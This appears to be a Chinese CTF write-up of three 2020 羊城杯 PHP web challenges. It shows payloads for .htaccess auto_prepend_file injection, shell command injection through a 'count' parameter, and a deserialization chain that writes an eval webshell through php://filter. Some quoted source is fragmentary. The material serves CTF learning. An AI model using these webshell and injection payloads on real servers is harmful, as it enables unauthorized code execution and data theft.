作者:mobiledu2502928897 | 来源:互联网 | 2023-09-03 06:11
[羊城杯2020]easyphp
//这是突破点我们要想办法把后面拼接的hello word弄掉
?>
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}这个正则想了一下,^的意思是如果匹配不是小写字母和.的字符,就进行die()
相当于一个非,限制我们输入的字符必须是小写字母和.点号
思路:既然我们可以指定文件名,然后指定内容进行输入到文件中,后面的hello world可以在字符串末尾加个/就可以注释掉了,构造一个 a.php文件,然后传入一个一句话木马试一下
发现可以访问文件a.php可是输入一句话木马之后
发现当作html直接输出在页面,并没有解析,或许后台设置了只解析了index.php,毕竟代码对index.php的提醒挺多的,于是在想能不能在index.php之前解析我们的htaccess,将配置项改一下即可,于是学习大佬得知还真是要利用htaccess来进行获取flag 。,因为需要先加载配置项
php_value auto_prepend_fil\
e .htaccess
#\
1.第一行的\起到了链接作用上下两行链接成一行,因为过滤了file,#在htaccess是注释的作用,可是 在php中会直接运行一句话木马
2.通过php_value auto_prepend_file .htaccess设置所有php文件运行前都包含.htaccess文件。
3.由于flag被过滤通过通配符?绕过。
4.由于代码在content后面接了"\nHello, world",这样会在htaccess文件第4行多出一句Hello,world。这会使程序崩溃报500错误。因此在传入的content第3行末尾加一个\,将Hello,world连接到第3行,把它也当做注释,这样就不会报错了
filename=.htaccess&cOntent=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C
访问index.phpjiu就会首先加载 .htaccess,然后插入的木马被执行成功
[羊城杯 2020]Easyphp2
打开界面url框显示file=会不会是任意文件读取呢
试一下/
然后读取一下源码看一下,直接读取出不来用,filter读取伪协议
应该是有什么东西被过滤掉了,一点一点删除,确定是base64对base64进行二次编码就可以绕过
绕过了base
//COOKIE 等于环境变量的pass
//我们需要知道pass的是什么,然后把COOKIE改了,这里猜测是GWHTsetCOOKIE('pass', 'PASS');die(''.''.''.'
'.''.'404'.''.'
'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');}?>//果然是对 base64进行了过滤die('hacker!');}echo "The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "
";} //这里有exec命令执行,感觉count可以凑一个一句话木马?>
直接把一句话木马写入了a.php中
'|echo "= eval(\$_POST[1])?>" > a.php||'
?file=GWHT.php&count='|echo "= eval(\$_POST['wind'])?>" > a.php||'
因为过滤了
wc -c 用来统计文件字节数
exec函数不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面
这导致我们即使能对$count进行命令注入,但是exec只会返回| wc -c的结果
所以我们的现在需要不执行 $count后面的命令
最简单的办法就是使用#对后面的命令进行注释,但是题目已经将#过滤
我们可以使用||来达到不执行后面命令的效果
文件中发现,这个没有flag文件,第一种方法可以在虚拟中输入env获得flag
或者提权也就是找到账号密码,然后提权获取flag
[羊城杯 2020]EasySer
打开界面这是,关于一个apache2的一个介绍
查看完源码也感觉没有啥,扫一下目录看一下
一个不安全的协议,http相对于https来说是不安全的,直接访问http://ser.php
可是还是出不来,看了wp之后才发现,是127.0.0.1感觉是从我家所以是本地,http://127.0.0.1/ser.php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d = '';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
}?> url error
your hat is too black!
一个反序列化,这里我们先找链尾,
public function hasaki(){
$d = '';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
@file_put_contents($this-> file,$a);这里是把a写入指定的文件,一般都是写入一个一句话木马,但是$d是一个die命令,会直接退出所以我们要绕过
搜索之后发现php://filter伪协议还有别的用法
write写入 resource数据来源 read参数值可为 string.strip_tags: 将数据流中的所有html,php标签清除
string.toupper: 将数据流中的内容转换为大写 string.tolower: 将数据流中的内容转换为小写
convert.base64-encode: 将数据流中的内容转换为base64编码 convert.base64-decode:
与上面对应解码为典型的文件包含漏洞。我们可以通过构造含有漏洞的语句,查看想要看的代码:
file=php://filter/convert.base64-encode/resource=index.php
。再将得到的base64码解码即可。
$this->hero->hasaki();
可是我们需要调用,yongen类中的hasaki方法,所以需要重新赋值
$this->hero=new yongen;
构造payload
class GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";public $text="PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==";
} //
$b=new GWHT();
$b->hero=new Yongen();//覆盖
echo serialize($b);
?>
被本来 $d = '';
$a= $d. $this->text;
a='+PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
所以我们这里把php,去掉以后就只剩下die(nonnon)加上base64编码了,这里就可以写入一句话木马,然后我们现在需要的是,反序列化的那个参数,题目并没有给出,
如果是有上传的窗口可以考虑phar可是找了找没有,需要利用别的手段
看师傅说是利用arjun工具,
今天给大家介绍的是一款名叫Arjun的开源工具,广大研究人员可以利用该工具来对HTTP参数进行提取和分析。这样我们就获得了一个c变量的传参,
http://dc8ac95c-8a83-41cf-9667-116b95cad59a.node4.buuoj.cn:81/star1.php?path=http://127.0.0.1/star1.php&c=O:4:%22GWHT%22:1:{s:4:%22hero%22;O:6:%22Yongen%22:2:{s:4:%22file%22;s:77:%22php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php%22;s:4:%22text%22;s:36:%22PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==%22;}}
然后链接建议
http://dc8ac95c-8a83-41cf-9667-116b95cad59a.node4.buuoj.cn:81/shell.php
1
最后的得到flag
不容易加油!